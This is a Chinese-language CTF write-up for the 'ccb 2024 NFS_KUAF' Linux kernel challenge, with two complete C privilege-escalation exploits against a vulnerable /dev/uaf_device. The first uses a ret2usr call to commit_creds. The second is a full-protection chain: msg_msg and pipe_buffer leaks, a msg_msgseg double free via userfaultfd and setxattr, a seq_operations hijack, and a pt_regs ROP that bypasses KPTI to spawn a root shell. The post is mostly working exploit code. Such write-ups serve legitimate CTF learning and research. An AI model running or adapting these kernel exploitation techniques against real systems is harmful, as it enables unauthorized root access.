[ayoung@blog posts]$ cat ./ccb 2024 NFS_KUAF.md

ccb 2024 NFS_KUAF

[Last modified: 2026-02-09]

有0x400的uaf 和 能直接指定地址跳转的后门

exp1

条件:没开aslr smap smep 直接用后门跳用户代码提权并退出内核态

#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
size_t user_cs,user_ss,user_rflags,user_sp;
size_t commit_creds=0xffffffff810c5010,prepare_kernel_cred=0xffffffff810c5270;
size_t getshell_addr;

void save_status()
{
  __asm__(
    "mov user_cs,cs;"
    "mov user_ss,ss;"
    "mov user_sp,rsp;"
    "pushf;"
    "pop user_rflags;"
  );
  puts("[*] status has been saved.");
}
void com(){
    __asm__(
        "push rax;"
        "push rdi;"
        "mov rax, 0xffffffff810c5270;"
        "mov rdi, 0;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, 0xffffffff810c5010;"
        "call rax;"
        "mov rax, getshell_addr;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push getshell_addr;"
        "swapgs;"
        "iretq;"
        "ret;"
    );
}
void getshell(){
	if(!getuid()){
		puts("[*]Root now");
		system("/bin/sh");
	}
	else{
		puts("not root yet");
	}
}
int main()
{
    save_status();
    int fd = open("/dev/uaf_device", 2);
    if (fd<0)
        perror("open");
    char buf[0x500];
    memset(buf, 0, 0x500);
    getshell_addr = (size_t)getshell;
    *(size_t *)buf = (size_t)com;
    write(fd, buf, 0x8);
    read(fd, buf, 0);

	return 0;
}

exp2

条件:保护全开

首先在存在 UAF 的 object 下方布置 pipe_buffer ,使用 msg_msg 占位,修改m_ts字段泄露pipe_buffer 中的 pipe_buf_operations 地址来泄露基址

之后通过 msg_msg 构造 double free 如下所示红色为利用 UAF 控制的 msg 结构体,下方有一个紧挨着的msg,同时由于使用相同 qid 发送了第二段长度为0x1018-0x30的消息,第二段消息会使用ll_prev链接;第二段消息多出来0x18内容会申请到 kmalloc-32 大小 object ,由开头8字节 next 指针和0x18字节真实内容组成

此时能够通过控制的 msg obj 越界读泄露ll_prev地址,再伪造 nextm_ts 做任意地址读,获取到第二段消息的 next 指针,即图中紫色 kmalloc-32 大小的 obj 地址。再将控制的 msg 的 next 覆盖指向 kmalloc-32 的 obj,从而构造出两个 msg 的 next 指向同一个 msg_msgseg,后续释放消息即可构造出 double free

实际过程中,有几个需要额外注意的地方:

使用userfault+setxattr覆盖被释放的 msg_msgseg fd指针为 NULL

setxattr可以直接写值,调用链SYS_setxattr()->path_setxattr()->setxattr() size 和 value 均可控

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
    //...
        kvalue = kvmalloc(size, GFP_KERNEL);
        if (!kvalue)
            return -ENOMEM;
        if (copy_from_user(kvalue, value, size)) {

    //,..

    kvfree(kvalue);

    return error;
}

控制 setxatrr 调用申请回 victim obj 后先覆写前8字节为0,继续 copy 时触发缺页卡住,然后通过 msg 释放掉 victim obj,再控制先释放一个其他 obj 避免检测到 double free,最后再放行刚才卡住的 setxatrr,使其继续执行释放掉刚才申请到的 victim obj,完成double free victim obj -> A -> victim obj

在实操过程中发现可能 pthread_create创建线程会申请掉 kmalloc-32 的obj,故需要进行一定布置 另外exp中使用全局变量完成线程和当前进程的同步,确保释放顺序得当

完成double free后,最后利用 seq_operations+setxatrr控制执行流,结合pt_regs rop 提权 seq_operations结构为

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

read函数最终能调用到seq_operations->start 通过setxatrr覆盖该函数指针为add rsp xxxx, ret,并在缺页中调用read触发

pt_regs结构

定义

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

pt_regs布置 rop 中swapgs_restore_regs_and_return_to_usermode中对cr3赋值来绕过kpti,并返回用户态。具体跳转位置根据栈情况确定,要保证开始执行多个 pop 后的mov rdi,rsp时栈顶有两个无关值,且下一个是rip cs xxxx这些值

这样在swapgsxxxx这个gadget最后的两个pop后正好是从而返回用户态

swapgs
xxx
iretq

完整exp

#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <mqueue.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <stdint.h>
#include <pthread.h>
#include <sys/syscall.h>

#define PAGE_SIZE 0x1000

size_t user_cs,user_ss,user_rflags,user_sp;
size_t commit_creds=0xc5010,prepare_kernel_cred=0xc5270;
size_t init_cred = 0x165f5a0;
size_t mov_cr4_rdi = 0;
size_t swapgs_popfq_r = 0;
size_t mov_rdi_rax_ret = 0;
size_t add_rsp = 0x86739f;
size_t ireq_ret = 0;
size_t prdi_r = 0x88850, prbx_r = 0x6d15f;
size_t kobase = 0;
size_t vmbase = 0;
size_t canary = 0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xc009f4+16;
size_t heap_addr = 0, llprev_addr, llnext_addr = 0, victim_addr = 0;
int real_qid;
pthread_t hthr[20];
char received[0x2000];
size_t release_cnt=0;
size_t setxa_can_release = 0;
size_t msg_can_release = 0;
int fd_stat[20];

void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}
void save_status()
{
  __asm__(
    "mov user_cs,cs;"
    "mov user_ss,ss;"
    "mov user_sp,rsp;"
    "pushf;"
    "pop user_rflags;"
  );
  puts("[*] status has been saved.");
}

typedef struct 
{
        long mtype;
        char mtext[1];
}msg;

typedef struct 
{
    void *ll_next;
    void *ll_prev;
    long m_type;
    size_t m_ts;
    void *next;
    void *security;
}msg_header;
int get_msg_queue()
{
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
void getshell(){
	if(!getuid()){
		puts("[*] Root now");
		system("/bin/sh");
	}
	else{
		puts("not root yet");
	}
}
void bind_core(int core) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(core, &cpu_set);
  sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API error");
	
	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
	// open a thread, receive the wrong signal, and the handle it
	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
	if(s!=0)
		ErrExit("[-] pthread-create error");
}
void *userfault_hijack_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;

	puts("[+] hijack handler created");
	puts("[+] tigger..");

	prdi_r += vmbase;
	prbx_r += vmbase;
  init_cred += vmbase;
	prepare_kernel_cred += vmbase;
	commit_creds += vmbase;
	swapgs_restore_regs_and_return_to_usermode += vmbase;
  char tmp_buf[0x10];

  // fix corrupted freelist
  for(int i = 10; i < 20; i++)
    close(fd_stat[i]);

  int target_fd = fd_stat[2];
  __asm__(
	"mov r15,   0xbeefdead;"
	"mov r14,   0x11111111;"
	"mov r13,   0x22222222;"
	"mov r12,   prdi_r;"
	"mov rbp,   init_cred;"
	"mov rbx,   prbx_r;"    
	"mov r11,   0x99999999;"
	"mov r10,   commit_creds;"
	"mov r9,    swapgs_restore_regs_and_return_to_usermode;"
	"mov r8,    0;"
	"xor rax,   rax;"
	"mov rcx,   0xaaaaaaaa;"
	"mov rdx,   8;"
	"mov rsi,   rsp;"
  "mov rdi,   [fd_stat+4*2];"
	"syscall"
	);
  
  getshell();
        
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] hijack handler done");
}
void *userfault_setzero_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;

  int my_idx = release_cnt;
	printf("[+] setzero handler %ld created\n", release_cnt++);

  while(my_idx==0){
    if (release_cnt==3 && setxa_can_release==1){
      printf("[+] setzero handler %d out\n", my_idx);
      break;
    }
  }
  while(my_idx==1){
    msg_can_release=1;
    if (release_cnt==2 && setxa_can_release==1){
      release_cnt++;
      printf("[+] setzero handler %d out\n", my_idx);
      break;
    }
  }

	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] setzero handler done");
}
void *setxattr_handler(void *arg){
	char* addr = (char*)arg;
	setxattr("/exp", "ay", addr+ PAGE_SIZE - 8, 0x20, 0);
}
int main()
{
	bind_core(0);
	save_status();
	int fd = open("/dev/uaf_device", 2);
	if (fd<0)
	  perror("open");
	char buf[0x500];
	memset(buf, 0, 0x500);
	
	int leak_qid[8], pipe_fd[8][2];
	char msg_buf[0x2000];
	char *hack_buf[20];
	msg *message = (msg *)msg_buf;
	memset(msg_buf, 0, 0x2000);
	memset(received, 0, 0x2000);
	
	for(int i = 10; i < 20; i++){
	fd_stat[i] = open("/proc/self/stat", O_RDONLY);
	}
	
	for(int i = 0; i < 3; i++){
	if (pipe(pipe_fd[i]) < 0) {
	  perror("[-] pipe");
	  exit(-1);
	}
	write(pipe_fd[i][1], "pwn", 3);
	}
	write(fd, buf, 0);
	for(int i = 3; i < 8; i++){
	if (pipe(pipe_fd[i]) < 0) {
	  perror("[-] pipe");
	  exit(-1);
	}
	write(pipe_fd[i][1], "pwn", 3);
	}
	
	ioctl(fd, 0, 0);
	real_qid = get_msg_queue();
	message->mtype = 1;
	memset(message->mtext, 'Z', 0x400-0x30);
	msgsnd(real_qid, message, 0x400-0x30, 0);
	((msg_header*)buf)->m_type = 0x1;
	((msg_header*)buf)->m_ts = 0x1000-0x30;
	write(fd, buf, 0x20);
	
	msgrcv(real_qid, received, 0x1000-0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
	vmbase=*(size_t*)(received+0x410-0x30+8)-0x1064f40;
	printf("[+] vmbase 0x%llx\n", (long long)vmbase);
	
	for(int i = 0 ; i < 8; i++){
	close(pipe_fd[i][0]);
	close(pipe_fd[i][1]);
	}
	for(int i = 0 ; i < 8; i++){
	leak_qid[i] = get_msg_queue();
	message->mtype = 1;
	memset(message->mtext, 'A'+i, 0x400-0x30);
	memset(message->mtext+0x400-0x30-0x10, '\x00', 0x10);
	msgsnd(leak_qid[i], message, 0x400-0x30, 0);
	}
	for(int i = 0 ; i < 8; i++){
	memset(message->mtext, '0'+i, 0x1018-0x30);
	memcpy(message->mtext, "ayoung", 6);
	msgsnd(leak_qid[i], message, 0x1018-0x30, 0);
	}
	
	msgrcv(real_qid, received, 0x1000-0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
	llprev_addr = *(size_t*)(received+0x400-0x30+8);
	llnext_addr = *(size_t*)(received+0x400-0x30+0x10);
	printf("[+] llprev_addr 0x%llx\n", (long long)llprev_addr);
	printf("[+] llnext_addr 0x%llx\n", (long long)llnext_addr);
	
	((msg_header*)buf)->ll_next = (void*)llnext_addr;
	((msg_header*)buf)->ll_prev = (void*)llnext_addr;
	((msg_header*)buf)->m_ts = 0x1500-0x30;
	((msg_header*)buf)->next = (void*)(llprev_addr-0x8);
	write(fd, buf, 0x28);
	
	msgrcv(real_qid, received, 0x1500-0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
	heap_addr = *(size_t*)(received+0x1000-0x30+0x20+0x8); // kmalloc-32
	printf("[+] heap_addr 0x%llx\n", (long long)heap_addr);
	
	((msg_header*)buf)->next = (void*)(heap_addr);
	write(fd, buf, 0x28);
	
	msgrcv(real_qid, received, 0x1500-0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
	int _index = *(char*)(received+0x1000-0x30+0x8) -0x30;
	printf("[+] get index: %d\n", _index);
	
	for(int i = 0 ; i < 2; i++){
	hack_buf[i] = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	*(size_t*)(hack_buf[i] + PAGE_SIZE - 8) = 0x0;
	register_userfault(hack_buf[i]+PAGE_SIZE, userfault_setzero_handler);
	}
	hack_buf[2] = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	register_userfault(hack_buf[2]+PAGE_SIZE, userfault_hijack_handler);
	*(size_t*)(hack_buf[2] + PAGE_SIZE - 8) = add_rsp+vmbase;
	
	printf("[+] first free victim msg_msg\n");
	msgrcv(leak_qid[_index], received, 0x400-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
	msgrcv(leak_qid[_index], received, 0x1018-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
	
	int cnt = 0;
	for(int i = 0 ; i < 8; i++){
	if(i!=_index){
	  printf("[+] free padding msg_msg\n");
	  msgrcv(leak_qid[i], received, 0x400-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
	  msgrcv(leak_qid[i], received, 0x1018-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
	  cnt++;
	}
	if (cnt==2)
	  break;
	}
	
	sleep(1);
	printf("[+] set zero through setxattr\n");
	for(int i = 0; i < 2; i++){
	int s = pthread_create(&hthr[i], NULL, setxattr_handler, (void*)hack_buf[i]);
	if(s!=0)
	  ErrExit("[-] pthread-create error");
	}
	
	// fix m_ts
	((msg_header*)buf)->m_ts = 0x400-0x30;
	write(fd, buf, 0x28);
	
	while(msg_can_release==0){}
	printf("[+] second free victim msg_msg\n");
	msgrcv(real_qid, received, 0x1000-0x30+0x18, 0, IPC_NOWAIT | MSG_NOERROR);
	setxa_can_release=1;
	sleep(1);
	
	// 2 4
	for(int i = 0; i < 4; i++){
	printf("[+] fd_stat: %d\n", i);
	fd_stat[i] = open("/proc/self/stat", O_RDONLY);
	}
	setxattr("/exp", "ay", hack_buf[2] + PAGE_SIZE - 8, 0x20, 0);
  
	return 0;
}